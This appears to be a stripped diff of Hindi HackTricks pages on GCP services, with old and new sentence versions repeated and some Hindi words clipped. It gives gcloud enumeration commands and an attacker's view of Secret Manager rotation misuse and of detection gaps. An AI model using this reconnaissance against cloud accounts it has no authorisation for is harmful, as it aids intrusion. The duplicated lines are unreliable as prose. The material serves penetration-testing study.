../gcp-post-exploitation/gcp-logging-post-exploitation.md
{{#endref}}
### स्थिरता
### Persistence
{{#ref}}
../gcp-persistence/gcp-logging-persistence.md
{{#endref}}
## संदर्भ
## References
- [https://cloud.google.com/logging/docs/logs-views#gcloud](https://cloud.google.com/logging/docs/logs-views#gcloud)
- [https://betterstack.com/community/guides/logging/gcp-logging/](https://betterstack.com/community/guides/logging/gcp-logging/)
@@ -4,7 +4,7 @@
## Memorystore
[**Redis**](https://cloud.google.com/sdk/gcloud/reference/redis) और [**Memcached**](https://cloud.google.com/sdk/gcloud/reference/memcache) के लिए स्केलेबल, सुरक्षित और उच्च उपलब्धता वाली इन-मेमोरी सेवा के साथ लेटेंसी को कम करें। अधिक जानें।
[**Redis**](https://cloud.google.com/sdk/gcloud/reference/redis) और [**Memcached**](https://cloud.google.com/sdk/gcloud/reference/memcache) के लिए स्केलेबल, सुरक्षित, और उच्च उपलब्धता वाली इन-मेमोरी सेवा के साथ लेटेंसी को कम करें। अधिक जानें।
```bash
# Memcache
gcloud memcache instances list --region <region>
@@ -4,7 +4,7 @@
## Basic Information
Google Cloud Monitoring एक टूल्स का सेट प्रदान करता है ताकि आप अपने क्लाउड संसाधनों की **monitor**, समस्या निवारण, और प्रदर्शन में सुधार कर सकें। सुरक्षा के दृष्टिकोण से, Cloud Monitoring कई विशेषताएँ प्रदान करता है जो आपके क्लाउड वातावरण की सुरक्षा और अनुपालन बनाए रखने के लिए महत्वपूर्ण हैं:
Google Cloud Monitoring एक टूल्स का सेट प्रदान करता है जो आपके क्लाउड संसाधनों की **monitor**, समस्या निवारण, और प्रदर्शन में सुधार करने के लिए है। सुरक्षा के दृष्टिकोण से, Cloud Monitoring कई विशेषताएँ प्रदान करता है जो आपके क्लाउड वातावरण की सुरक्षा और अनुपालन बनाए रखने के लिए महत्वपूर्ण हैं:
### Policies
@@ -18,11 +18,11 @@ GCP में Monitoring Dashboards अनुकूलन योग्य इं
विभिन्न **channels** को **अलर्ट भेजने** के लिए विभिन्न तरीकों से कॉन्फ़िगर किया जा सकता है, जिसमें **ईमेल**, **SMS**, **Slack**, और अधिक शामिल हैं।
इसके अलावा, जब Cloud Monitoring में एक अलर्टिंग नीति बनाई जाती है, तो यह **एक या अधिक सूचना चैनलों** को निर्दिष्ट करना संभव है।
इसके अलावा, जब Cloud Monitoring में एक अलर्टिंग नीति बनाई जाती है, तो यह **एक या एक से अधिक सूचना चैनलों** को निर्दिष्ट करना संभव है।
### Snoozers
एक snoozer **निर्दिष्ट अलर्ट नीतियों को अलर्ट उत्पन्न करने या सूचनाएँ भेजने से रोकता है** निर्दिष्ट स्नूज़िंग अवधि के दौरान। इसके अतिरिक्त, जब एक **मैट्रिक-आधारित अलर्टिंग नीति** पर स्नूज़ लागू किया जाता है, तो Monitoring उस विशेष नीति से जुड़े **किसी भी खुले घटनाओं को हल करने**ी प्रक्रिया जारी रखता है।
एक snoozer **निर्दिष्ट अलर्ट नीतियों को अलर्ट उत्पन्न करने या सूचनाएँ भेजने से रोक देगा** निर्दिष्ट स्नूज़िंग अवधि के दौरान। इसके अतिरिक्त, जब एक **मैट्रिक-आधारित अलर्टिंग नीति** पर एक स्नूज़ लागू किया जाता है, तो Monitoring उस विशेष नीति से जुड़े **किसी भी खुले घटनाओं को हल करने**े लिए आगे बढ़ता है।
### Enumeration
```bash
@@ -4,31 +4,31 @@
## Pub/Sub <a href="#reviewing-cloud-pubsub" id="reviewing-cloud-pubsub"></a>
[Google **Cloud Pub/Sub**](https://cloud.google.com/pubsub/) को स्वतंत्र अनुप्रयोगों के बीच संदेशों के आदान-प्रदान की सुविधा देने वाली सेवा के रूप में वर्णित किया गया है। इसके मुख्य घटक **विषय** हैं, जिनसे अनुप्रयोग **सदस्यता** ले सकते हैं। सदस्यता लेने वाले अनुप्रयोगों में **संदेश भेजने और प्राप्त करने** की क्षमता होती है। प्रत्येक संदेश में वास्तविक सामग्री के साथ संबंधित मेटाडेटा शामिल होता है।
[Google **Cloud Pub/Sub**](https://cloud.google.com/pubsub/) को स्वतंत्र अनुप्रयोगों के बीच संदेशों के आदान-प्रदान की सुविधा देने वाली सेवा के रूप में वर्णित किया गया है। इसके मुख्य घटक **विषय** हैं, जिन पर अनुप्रयोग **सदस्यता** ले सकते हैं। सदस्यता लेने वाले अनुप्रयोगों में **संदेश भेजने और प्राप्त करने** की क्षमता होती है। प्रत्येक संदेश में वास्तविक सामग्री के साथ संबंधित मेटाडेटा शामिल होता है।
**विषय वह कतार है** जहा संदेश भेजे जाने वाले हैं, जबकि **सदस्यताएँ** वे **वस्तुएँ** हैं जिनका उपयोग उपयोगकर्ता **विषयों में संदेशों तक पहुँचने** के लिए करेंगे। एक विषय के लिए **1 से अधिक सदस्यता** हो सकती है और सदस्यताओं के 4 प्रकार हैं:
**विषय वह कतार है** जहा संदेश भेजे जाने वाले हैं, जबकि **सदस्यताएँ** वे **वस्तुएँ** हैं जिनका उपयोग उपयोगकर्ता **विषयों में संदेशों तक पहुँचने** के लिए करेंगे। एक विषय पर **1 से अधिक सदस्यता** हो सकती है और सदस्यताओं के 4 प्रकार हैं:
- **पुल**: इस सदस्यता के उपयोगकर्ता को संदेशों के लिए पुल करना होगा।
- **पुश**: एक URL अंत बिंदु निर्दिष्ट किया गया है और संदेश तुरंत वहा भेजे जाएंगे।
- **पुश**: एक URL अंत बिंदु निर्दिष्ट किया गया है और संदेश तुरंत वहा भेजे जाएंगे।
- **बिग क्वेरी टेबल**: पुश की तरह लेकिन संदेशों को एक बिग क्वेरी टेबल के अंदर सेट करना।
- **क्लाउड स्टोरेज**: संदेशों को सीधे एक मौजूदा बकेट में पहुँचाना
- **क्लाउड स्टोरेज**: संदेशों को सीधे एक मौजूदा बकेट में भेजें
**डिफ़ॉल्ट** के अनुसार, एक **सदस्यता 31 दिनों के बाद समाप्त हो जाती है**, हालाँकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है।
**डिफ़ॉल्ट** के रूप में एक **सदस्यता 31 दिनों के बाद समाप्त हो जाती है**, हालाँकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है।
**डिफ़ॉल्ट** के अनुसार, एक संदेश **7 दिनों के लिए बनाए रखा जाता है**, लेकिन इस समय को **31 दिनों तक बढ़ाया** जा सकता है। इसके अलावा, यदि इसे **10 सेकंड में ACK नहीं किया गया** तो यह फिर से कतार में चला जाता है। यह भी सेट किया जा सकता है कि ACK किए गए संदेशों को संग्रहीत किया जाना चाहिए।
**डिफ़ॉल्ट** के रूप में, एक संदेश **7 दिनों के लिए बनाए रखा जाता है**, लेकिन इस समय को **31 दिनों तक बढ़ाया** जा सकता है। इसके अलावा, यदि इसे **10 सेकंड में ACK** नहीं किया गया, तो यह फिर से कतार में चला जाता है। यह भी सेट किया जा सकता है कि ACK किए गए संदेशों को संग्रहीत किया जाना चाहिए।
एक विषय डिफ़ॉल्ट रूप से **Google प्रबंधित एन्क्रिप्शन कुंजी** का उपयोग करके एन्क्रिप्ट किया जाता है। लेकिन KMS से एक **CMEK** (ग्राहक प्रबंधित एन्क्रिप्शन कुंजी) भी चुनी जा सकती है।
एक विषय डिफ़ॉल्ट रूप से **Google प्रबंधित एन्क्रिप्शन कुंजी** का उपयोग करके एन्क्रिप्ट किया गया है। लेकिन KMS से **CMEK** (ग्राहक प्रबंधित एन्क्रिप्शन कुंजी) भी चुनी जा सकती है।
**डेड लेटर**: सदस्यताएँ **डिलीवरी प्रयासों की अधिकतम संख्या** को कॉन्फ़िगर कर सकती हैं। जब एक संदेश वितरित नहीं किया जा सकता है, तो इसे **निर्दिष्ट डेड लेटर विषय पर पुनः प्रकाशित किया जाता है**
### स्नैपशॉट और स्कीमा
एक स्नैपशॉट एक विशेष समय पर **एक सदस्यता की स्थिति को कैप्चर करने** की विशेषता है। यह मूल रूप से एक **सदस्यता में अनस्वीकृत संदेशों का सुसंगत बैकअप** है। एक स्नैपशॉट बनाकर, आप सदस्यता क संदेश स्वीकृति स्थिति को संरक्षित करते हैं, जिससे आप स्नैपशॉट लिए गए बिंदु से संदेशों का उपभोग फिर से शुरू कर सकते हैं, भले ही मूल संदेश अन्यथा हटा दिए गए होते।\
एक स्नैपशॉट एक विशेष समय पर **एक सदस्यता की स्थिति को कैप्चर करने** की विशेषता है। यह मूल रूप से एक **सदस्यता में अनस्वीकृत संदेशों का सुसंगत बैकअप** है। एक स्नैपशॉट बनाकर, आप सदस्यता क संदेश स्वीकृति स्थिति को संरक्षित करते हैं, जिससे आप स्नैपशॉट लिए गए बिंदु से संदेशों का उपभोग फिर से शुरू कर सकते हैं, भले ही मूल संदेश अन्यथा हटा दिए गए होते।\
यदि आप बहुत भाग्यशाली हैं, तो एक स्नैपशॉट में **पुरानी संवेदनशील जानकारी** हो सकती है जब स्नैपशॉट लिया गया था।
एक विषय बनाते समय, आप संकेत कर सकते हैं कि **विषय संदेशों को एक स्कीमा का पालन करना चाहिए**
एक विषय बनाते समय, आप यह संकेत दे सकते हैं कि **विषय संदेशों को एक स्कीमा का पालन करना चाहिए**
### Enumeration
### एन्यूमरेशन
```bash
# Get a list of topics in the project
gcloud pubsub topics list
@@ -52,7 +52,7 @@ gcloud pubsub snapshots describe <snapshot>
```
हालांकि, आप [**बड़े डेटा सेट के लिए पूछने**](https://cloud.google.com/pubsub/docs/replay-overview) पर बेहतर परिणाम प्राप्त कर सकते हैं, जिसमें पुराने संदेश शामिल हैं। इसके कुछ पूर्वापेक्षाएँ हैं और यह अनुप्रयोगों को प्रभावित कर सकता है, इसलिए सुनिश्चित करें कि आप वास्तव में जानते हैं कि आप क्या कर रहे हैं।
### विशेषाधिकार वृद्धि और पोस्ट शोषण
### विशेषाधिकार वृद्धि और पोस्ट एक्सप्लॉइटेशन
{{#ref}}
../gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -60,12 +60,12 @@ gcloud pubsub snapshots describe <snapshot>
## Pub/Sub Lite
[**Pub/Sub Lite**](https://cloud.google.com/pubsub/docs/choosing-pubsub-or-lite) एक संदेश सेवा है जिसमें **क्षेत्रीय भंडारण** है। Pub/Sub Lite **Pub/Sub का एक अंश** है और इसे **उच्च मात्रा के स्ट्रीमिंग** (प्रति सेकंड 10 मिलियन संदेशों तक) पाइपलाइनों और इवेंट-चालित प्रणाली के लिए डिज़ाइन किया गया है जहाँ कम लागत प्राथमिक विचार है।
[**Pub/Sub Lite**](https://cloud.google.com/pubsub/docs/choosing-pubsub-or-lite) एक संदेश सेवा है जिसमें **क्षेत्रीय भंडारण** है। Pub/Sub Lite **Pub/Sub का एक अंश** लागत है और इसे **उच्च मात्रा के स्ट्रीमिंग** (प्रति सेकंड 10 मिलियन संदेशों तक) पाइपलाइनों और इवेंट-ड्रिवन सिस्टम के लिए डिज़ाइन किया गया है जहाँ कम लागत प्राथमिक विचार है।
PubSub Lite में **विषय** और **सदस्यताएँ** हैं, वहाँ **स्नैपशॉट** और **स्कीमा** नहीं हैं और वहाँ हैं:
- **आरक्षण**: Pub/Sub Lite आरक्षण एक विशेषता है जो उपयोगकर्ताओं को अपने संदेश धाराओं के लिए एक विशिष्ट क्षेत्र में क्षमता आरक्षित करने की अनुमति देती है।
- **ऑपरेशंस**: Pub/Sub Lite का प्रबंधन और प्रशासन करने में शामिल क्रियाएँ और कार्यों को संदर्भित करता है।
- **ऑपरेशंस**: Pub/Sub Lite का प्रबंधन और प्रशासन करने में शामिल क्रियाओं और कार्यों को संदर्भित करता है।
### गणना
```bash
@@ -4,15 +4,15 @@
## Secret Manager
Google [**Secret Manager**](https://cloud.google.com/solutions/secrets-management/) पासवर्ड, API कुंजी, प्रमाणपत्र, फ़ाइलें (अधिकतम 64KB) और अन्य संवेदनशील डेटा संग्रहीत करने के लिए एक वॉल्ट-जैसी समाधान है।
Google [**Secret Manager**](https://cloud.google.com/solutions/secrets-management/) एक वॉल्ट-जैसी समाधान है जो पासवर्ड, API कुंजी, प्रमाणपत्र, फ़ाइलें (अधिकतम 64KB) और अन्य संवेदनशील डेटा संग्रहीत करने के लिए है।
एक रहस्य में **विभिन्न संस्करण हो सकते हैं जो विभिन्न डेटा संग्रहीत करते हैं**
रहस्य **डिफ़ॉल्ट** रूप से **Google प्रबंधित कुंजी का उपयोग करके एन्क्रिप्ट किए जाते हैं**, लेकिन **रहस्य को एन्क्रिप्ट करने के लिए KMS से एक कुंजी का चयन करना संभव है**
रहस्य **डिफ़ॉल्ट रूप से** **Google प्रबंधित कुंजी का उपयोग करके एन्क्रिप्ट किए जाते हैं**, लेकिन **रहस्य को एन्क्रिप्ट करने के लिए KMS से एक कुंजी का चयन करना संभव है**
**रोटेशन** के संबंध में, यह **हर कुछ दिनों में pub-sub पर भेजे जाने वाले संदेशों को कॉन्फ़िगर करना संभव है**, उन संदेशों को सुनने वाला कोड **रहस्य को घुमाने** में सक्षम हो सकता है।
**रोटेशन** के संबंध में, **हर कुछ दिनों में pub-sub पर भेजे जाने वाले संदेशों को कॉन्फ़िगर करना संभव है**, उन संदेशों को सुनने वाला कोड **रहस्य को घुमा सकता है**
**स्वचालित हटाने** के लिए एक दिन कॉन्फ़िगर करना संभव है, जब निर्दिष्ट दिन **पहुंचा जाता है**, तो **रहस्य स्वचालित रूप से हटा दिया जाएगा**
**स्वचालित विलोपन** के लिए एक दिन कॉन्फ़िगर करना संभव है, जब निर्दिष्ट दिन **पहुंचा जाता है**, तो **रहस्य स्वचालित रूप से हटा दिया जाएगा**
### Enumeration
```bash
@@ -46,6 +46,6 @@ In the following page you can check how to **secretmanager अनुमतिय
### Rotation misuse
An attacker could update the secret to **रोटेशन को रोकने के लिए** (so it won't be modified), or **रोटेशन को बहुत कम बार करना** (so the secret won't be modified) or to **रोटेशन संदेश को एक अलग pub/sub पर प्रकाशित करना**, or modifying the rotation code being executed (this happens in a different service, probably in a Clound Function, so the attacker will need privileged access over the Cloud Function or any other service)
An attacker could update the secret to **रोटेशन को रोकें** (so it won't be modified), or **रोटेशन को बहुत कम बार करें** (so the secret won't be modified) or to **रोटेशन संदेश को एक अलग pub/sub पर प्रकाशित करें**, or modifying the rotation code being executed (this happens in a different service, probably in a Clound Function, so the attacker will need privileged access over the Cloud Function or any other service)
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,33 +4,33 @@
## Basic Information
Google Cloud Platform (GCP) सुरक्षा में **संसाधनों और डेटा की सुरक्षा** सुनिश्चित करने के लिए डिज़ाइन किए गए **उपकरणों और प्रथाओं का एक व्यापक सेट** शामिल है, जिसे चार मुख्य अनुभागों में विभाजित किया गया है: **सुरक्षा कमांड सेंटर, पहचान और नियंत्रण, डेटा सुरक्षा और शून्य विश्वास।**
Google Cloud Platform (GCP) सुरक्षा में **संसाधनों और डेटा की सुरक्षा** सुनिश्चित करने के लिए डिज़ाइन किए गए **उपकरणों और प्रथाओं का एक व्यापक सेट** शामिल है, जिसे चार मुख्य भागों में विभाजित किया गया है: **सुरक्षा कमांड सेंटर, पहचान और नियंत्रण, डेटा सुरक्षा और शून्य विश्वास।**
## **Security Command Center**
Google Cloud Platform (GCP) सुरक्षा कमांड सेंटर (SCC) एक **सुरक्षा और जोखिम प्रबंधन उपकरण है** जो संगठनों को उनके क्लाउड संपत्तियों पर दृश्यता और नियंत्रण प्राप्त करने में सक्षम बनाता है। यह **खतरों का पता लगाने और प्रतिक्रिया देने** में मदद करता है, व्यापक सुरक्षा विश्लेषण प्रदान करता है, **गलत कॉन्फ़िगरेशन की पहचान करता है**, सुरक्षा मानकों के साथ **अनुपालन** सुनिश्चित करता है, और स्वचालित खतरे की पहचान और प्रतिक्रिया के लिए अन्य सुरक्षा उपकरणों के साथ **एकीकृत** होता है।
- **Overview**: सभी सुरक्षा कमांड सेंटर के परिणामों का **सारांश देखने के लिए पैनल**
- Threats: \[Premium Required] सभी **पाए गए खतरों को देखने के लिए पैनल। नीचे खतरों के बारे में अधिक जानकारी देखें**
- Threats: \[Premium Required] सभी **पता लगाए गए खतरों को देखने के लिए पैनल। नीचे खतरों के बारे में अधिक जानकारी देखें**
- **Vulnerabilities**: GCP खाते में **पाई गई गलत कॉन्फ़िगरेशन को देखने के लिए पैनल**
- **Compliance**: \[Premium required] यह अनुभाग **आपके GCP वातावरण का परीक्षण करने की अनुमति देता है विभिन्न अनुपालन जांचों के खिलाफ** (जैसे PCI-DSS, NIST 800-53, CIS बेंचमार्क...) संगठन के ऊपर
- **Assets**: यह अनुभाग **सभी उपयोग किए जा रहे संपत्तियों को दिखाता है**, सिस्टम प्रशासकों (और शायद हमलावर) के लिए एक ही पृष्ठ पर यह देखना बहुत उपयोगी है कि क्या चल रहा है।
- **Compliance**: \[Premium required] यह अनुभाग **आपके GCP वातावरण का परीक्षण करने की अनुमति देता है** (जैसे PCI-DSS, NIST 800-53, CIS बेंचमार्क...) संगठन के खिलाफ
- **Assets**: यह अनुभाग **सभी उपयोग किए जा रहे संपत्तियों को दिखाता है**, जो sysadmins (और शायद हमलावर) के लिए एक ही पृष्ठ पर चल रहे संसाधनों को देखने के लिए बहुत उपयोगी है।
- **Findings**: यह GCP सुरक्षा के विभिन्न अनुभागों (केवल कमांड सेंटर नहीं) के **निष्कर्षों को एक तालिका में संकलित करता है** ताकि महत्वपूर्ण निष्कर्षों को आसानी से देखा जा सके।
- **Sources**: GCP सुरक्षा के सभी विभिन्न अनुभागों के **निष्कर्षों का सारांश दिखाता है** **अनुभाग द्वारा**
- **Posture**: \[Premium Required] सुरक्षा स्थिति **GCP वातावरण की सुरक्षा को परिभाषित, आकलन और निगरानी करने की अनुमति देती है**। यह नीति बनाने के द्वारा काम करता है जो GCP में संसाधनों को नियंत्रित/निगरानी करने के लिए प्रतिबंध या सीमाएँ परिभाषित करता है। कई पूर्व-निर्धारित स्थिति टेम्पलेट्स [https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy](https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy) पर पाए जा सकते हैं।
- **Sources**: GCP सुरक्षा के सभी विभिन्न अनुभागों के **निष्कर्षों का सारांश दिखाता है** **प्रत्येक अनुभाग द्वारा**
- **Posture**: \[Premium Required] सुरक्षा स्थिति **GCP वातावरण की सुरक्षा को परिभाषित, आकलन और निगरानी करने की अनुमति देती है**। यह नीति बनाने के द्वारा काम करता है जो GCP में संसाधनों को नियंत्रित/निगरानी करने के लिए प्रतिबंध या सीमाएँ परिभाषित करता है। कई पूर्व-निर्धारित स्थिति टेम्पलेट हैं जो [https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy](https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy) पर पाए जा सकते हैं।
### **Threats**
एक हमलावर के दृष्टिकोण से, यह शायद **सबसे दिलचस्प विशेषता है क्योंकि यह हमलावर का पता लगा सकती है**। हालाँकि, ध्यान दें कि इस विशेषता के लिए **Premium** की आवश्यकता होती है (जिसका अर्थ है कि कंपनी को अधिक भुगतान करना होगा), इसलिए यह **शायद सक्षम भी नहीं हो**
एक हमलावर के दृष्टिकोण से, यह शायद **सबसे दिलचस्प विशेषता है क्योंकि यह हमलावर का पता लगा सकती है**। हालाँकि, ध्यान दें कि इस विशेषता के लिए **Premium** की आवश्यकता होती है (जिसका अर्थ है कि कंपनी को अधिक भुगतान करना होगा), इसलिए यह **शायद सक्षम भी न हो**
खतरे की पहचान के 3 प्रकार के तंत्र हैं:
- **Event Threats**: **Cloud Logging** से घटनाओं का मिलान करके उत्पन्न निष्कर्ष। यह **Google Workspace लॉग** को भी स्कैन कर सकता है।
- **Event Threats**: **Cloud Logging** से घटनाओं का मिलान करके उत्पन्न निष्कर्ष, जो Google द्वारा आंतरिक रूप से **निर्मित नियमों** के आधार पर होते हैं। यह **Google Workspace लॉग** को भी स्कैन कर सकता है।
- सभी [**पहचान नियमों का विवरण दस्तावेज़ों में पाया जा सकता है**](https://cloud.google.com/security-command-center/docs/concepts-event-threat-detection-overview?authuser=2#how_works)
- **Container Threats**: कंटेनरों के कर्नेल के निम्न-स्तरीय व्यवहार का विश्लेषण करने के बाद उत्पन्न निष्कर्ष।
- **Custom Threats**: कंपनी द्वारा बनाए गए नियम।
दोनों प्रकार के पहचाने गए खतरों के लिए अनुशंसित प्रतिक्रियाएँ [https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response](https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response) पर पाई जा सकती हैं।
दोनों प्रकार के पहचाने गए खतरों के लिए अनुशंसित प्रतिक्रियाएँ [https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response](https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response) में पाई जा सकती हैं।
### Enumeration
```bash
@@ -44,13 +44,13 @@ gcloud scc notifications list <org-number>
# Get findings (if not premium these are just vulnerabilities)
gcloud scc findings list <org-number>
```
### Post Exploitation
### पोस्ट एक्सप्लोइटेशन
{{#ref}}
../gcp-post-exploitation/gcp-security-post-exploitation.md
{{#endref}}
## Detections and Controls
## डिटेक्शन और नियंत्रण
- **Chronicle SecOps**: एक उन्नत सुरक्षा संचालन सूट जो टीमों को सुरक्षा संचालन की गति और प्रभाव को बढ़ाने में मदद करता है, जिसमें खतरे की पहचान, जांच और प्रतिक्रिया शामिल है।
- **reCAPTCHA Enterprise**: एक सेवा जो वेबसाइटों को धोखाधड़ी गतिविधियों जैसे स्क्रैपिंग, क्रेडेंशियल स्टफिंग, और स्वचालित हमलों से बचाती है, मानव उपयोगकर्ताओं और बॉट्स के बीच अंतर करके।
@@ -59,11 +59,11 @@ gcloud scc findings list <org-number>
- **Binary Authorization**: कंटेनरों के लिए एक सुरक्षा नियंत्रण जो सुनिश्चित करता है कि केवल विश्वसनीय कंटेनर छवियाँ Kubernetes Engine क्लस्टरों पर उन नीतियों के अनुसार तैनात की जाती हैं जो उद्यम द्वारा निर्धारित की गई हैं।
- **Advisory Notifications**: एक सेवा जो संभावित सुरक्षा मुद्दों, कमजोरियों, और संसाधनों को सुरक्षित रखने के लिए अनुशंसित कार्यों के बारे में अलर्ट और सलाह प्रदान करती है।
- **Access Approval**: एक विशेषता जो संगठनों को यह आवश्यक बनाने की अनुमति देती है कि Google कर्मचारी उनके डेटा या कॉन्फ़िगरेशन तक पहुँचने से पहले स्पष्ट अनुमोदन प्राप्त करें, जिससे नियंत्रण और ऑडिट करने की एक अतिरिक्त परत मिलती है।
- **Managed Microsoft AD**: एक सेवा जो प्रबंधित Microsoft Active Directory (AD) की पेशकश करती है जो उपयोगकर्ताओं को Google Cloud पर उनके मौजूदा Microsoft AD-निर्भर ऐप्स और कार्यभार का उपयोग करने की अनुमति देती है।
- **Managed Microsoft AD**: एक सेवा जो प्रबंधित Microsoft Active Directory (AD) की पेशकश करती है, जो उपयोगकर्ताओं को Google Cloud पर उनके मौजूदा Microsoft AD-निर्भर ऐप्स और कार्यभार का उपयोग करने की अनुमति देती है।
## Data Protection
## डेटा सुरक्षा
- **Sensitive Data Protection**: संवेदनशील डेटा, जैसे व्यक्तिगत जानकारी या बौद्धिक संपत्ति, को अनधिकृत पहुँच या उजागर होने से बचाने के लिए उपकरण और प्रथाएँ।
- **Sensitive Data Protection**: संवेदनशील डेटा, जैसे व्यक्तिगत जानकारी या बौद्धिक संपत्ति, को अनधिकृत पहुँच या एक्सपोज़र से सुरक्षित रखने के लिए उपकरण और प्रथाएँ।
- **Data Loss Prevention (DLP)**: एक सेट उपकरण और प्रक्रियाएँ जो उपयोग में, गति में, और विश्राम में डेटा की पहचान, निगरानी, और सुरक्षा के लिए गहन सामग्री निरीक्षण और डेटा सुरक्षा नियमों के एक व्यापक सेट को लागू करती हैं।
- **Certificate Authority Service**: एक स्केलेबल और सुरक्षित सेवा जो आंतरिक और बाहरी सेवाओं के लिए SSL/TLS प्रमाणपत्रों के प्रबंधन, तैनाती, और नवीनीकरण को सरल और स्वचालित करती है।
- **Key Management**: एक क्लाउड-आधारित सेवा जो आपको अपने अनुप्रयोगों के लिए क्रिप्टोग्राफिक कुंजियों का प्रबंधन करने की अनुमति देती है, जिसमें एन्क्रिप्शन कुंजियों का निर्माण, आयात, घुमाव, उपयोग, और विनाश शामिल है। अधिक जानकारी के लिए:
@@ -73,18 +73,18 @@ gcp-kms-enum.md
{{#endref}}
- **Certificate Manager**: एक सेवा जो SSL/TLS प्रमाणपत्रों का प्रबंधन और तैनाती करती है, आपके वेब सेवाओं और अनुप्रयोगों के लिए सुरक्षित और एन्क्रिप्टेड कनेक्शन सुनिश्चित करती है।
- **Secret Manager**: API कुंजियों, पासवर्ड, प्रमाणपत्रों, और अन्य संवेदनशील डेटा के लिए एक सुरक्षित और सुविधाजनक भंडारण प्रणाली, जो अनुप्रयोगों में इन रहस्यों की आसान और सुरक्षित पहुँच और प्रबंधन की अनुमति देती है। अधिक जानकारी के लिए:
- **Secret Manager**: API कुंजियों, पासवर्ड, प्रमाणपत्र, और अन्य संवेदनशील डेटा के लिए एक सुरक्षित और सुविधाजनक भंडारण प्रणाली, जो अनुप्रयोगों में इन रहस्यों की आसान और सुरक्षित पहुँच और प्रबंधन की अनुमति देती है। अधिक जानकारी के लिए:
{{#ref}}
gcp-secrets-manager-enum.md
{{#endref}}
## Zero Trust
## जीरो ट्रस्ट
- **BeyondCorp Enterprise**: एक जीरो-ट्रस्ट सुरक्षा प्लेटफ़ॉर्म जो पारंपरिक VPN की आवश्यकता के बिना आंतरिक अनुप्रयोगों तक सुरक्षित पहुँच सक्षम करता है, उपयोगकर्ता और डिवाइस क विश्वसनीयता के सत्यापन पर निर्भर करत
- **BeyondCorp Enterprise**: एक जीरो-ट्रस्ट सुरक्षा प्लेटफ़ॉर्म जो पारंपरिक VPN की आवश्यकता के बिना आंतरिक अनुप्रयोगों तक सुरक्षित पहुँच सक्षम करता है, उपयोगकर्ता और डिवाइस क विश्वास की पुष्टि पर निर्भर करतुए
- **Policy Troubleshooter**: एक उपकरण जो प्रशासकों को उनकी संगठन में पहुँच मुद्दों को समझने और हल करने में मदद करने के लिए डिज़ाइन किया गया है, यह पहचानने के लिए कि किसी उपयोगकर्ता को कुछ संसाधनों तक पहुँच क्यों है या क्यों पहुँच अस्वीकृत की गई, इस प्रकार जीरो-ट्रस्ट नीतियों के प्रवर्तन में सहायता करता है।
- **Identity-Aware Proxy (IAP)**: एक सेवा जो Google Cloud, ऑन-प्रिमाइसेस, या अन्य क्लाउड पर चलने वाले क्लाउड अनुप्रयोगों और VMs तक पहुँच को नियंत्रित करती है, अनुरोध के नेटवर्क के बजाय उपयोगकर्ता की पहचान और अनुरोध के संदर्भ के आधार पर।
- **VPC Service Controls**: सुरक्षा परिधियाँ जो Google Cloud के वर्चुअल प्राइवेट क्लाउड (VPC) में होस्ट की गई संसाधनों और सेवाओं को अतिरिक्त सुरक्षा परतें प्रदान करती हैं, डेटा निकासी को रोकती हैं और सूक्ष्म पहुँच नियंत्रण प्रदान करती हैं।
- **Access Context Manager**: Google Cloud के BeyondCorp Enterprise का एक भाग, यह उपकरण उपयोगकर्ता की पहचान और उनके अनुरोध के संदर्भ के आधार पर सूक्ष्म पहुँच नियंत्रण नीतियों को परिभाषित और लागू करने में मदद करता है, जैसे डिवाइस सुरक्षा स्थिति, IP पता, और अधिक।
- **VPC Service Controls**: सुरक्षा परिधियाँ जो Google Cloud के वर्चुअल प्राइवेट क्लाउड (VPC) में होस्ट की गई संसाधनों और सेवाओं को अतिरिक्त सुरक्षा परतें प्रदान करती हैं, डेटा निकासी को रोकती हैं और बारीक पहुँच नियंत्रण प्रदान करती हैं।
- **Access Context Manager**: Google Cloud के BeyondCorp Enterprise का एक हिस्सा, यह उपकरण उपयोगकर्ता की पहचान और उनके अनुरोध के संदर्भ के आधार पर बारीक पहुँच नियंत्रण नीतियों को परिभाषित और लागू करने में मदद करता है, जैसे डिवाइस सुरक्षा स्थिति, IP पता, और अधिक।
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,8 +1,8 @@
# GCP - Source Repositories Enum
# GCP - स्रोत रिपॉजिटरी एनम
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
## बुनियादी जानकारी <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
Google Cloud Source Repositories एक पूर्ण विशेषताओं वाला, स्केलेबल, **निजी Git रिपॉजिटरी सेवा** है। इसे **आपके स्रोत कोड को पूरी तरह से प्रबंधित वातावरण में होस्ट करने** के लिए डिज़ाइन किया गया है, जो अन्य GCP उपकरणों और सेवाओं के साथ सहजता से एकीकृत होता है। यह टीमों के लिए अपने कोड को स्टोर, प्रबंधित और ट्रैक करने के लिए एक सहयोगी और सुरक्षित स्थान प्रदान करता है।
@@ -13,25 +13,25 @@ Cloud Source Repositories की प्रमुख विशेषताएँ
3. **निजी रिपॉजिटरी**: सुनिश्चित करता है कि आपका कोड सुरक्षित और निजी रूप से स्टोर किया गया है। आप Cloud Identity और Access Management (IAM) भूमिकाओं का उपयोग करके एक्सेस को नियंत्रित कर सकते हैं।
4. **स्रोत कोड विश्लेषण**: आपके स्रोत कोड का स्वचालित विश्लेषण प्रदान करने के लिए अन्य GCP उपकरणों के साथ काम करता है, संभावित मुद्दों जैसे बग, कमजोरियों, या खराब कोडिंग प्रथाओं की पहचान करता है।
5. **सहयोग उपकरण**: मर्ज अनुरोध, टिप्पणियाँ, और समीक्षाओं जैसे उपकरणों के साथ सहयोगात्मक कोडिंग का समर्थन करता है।
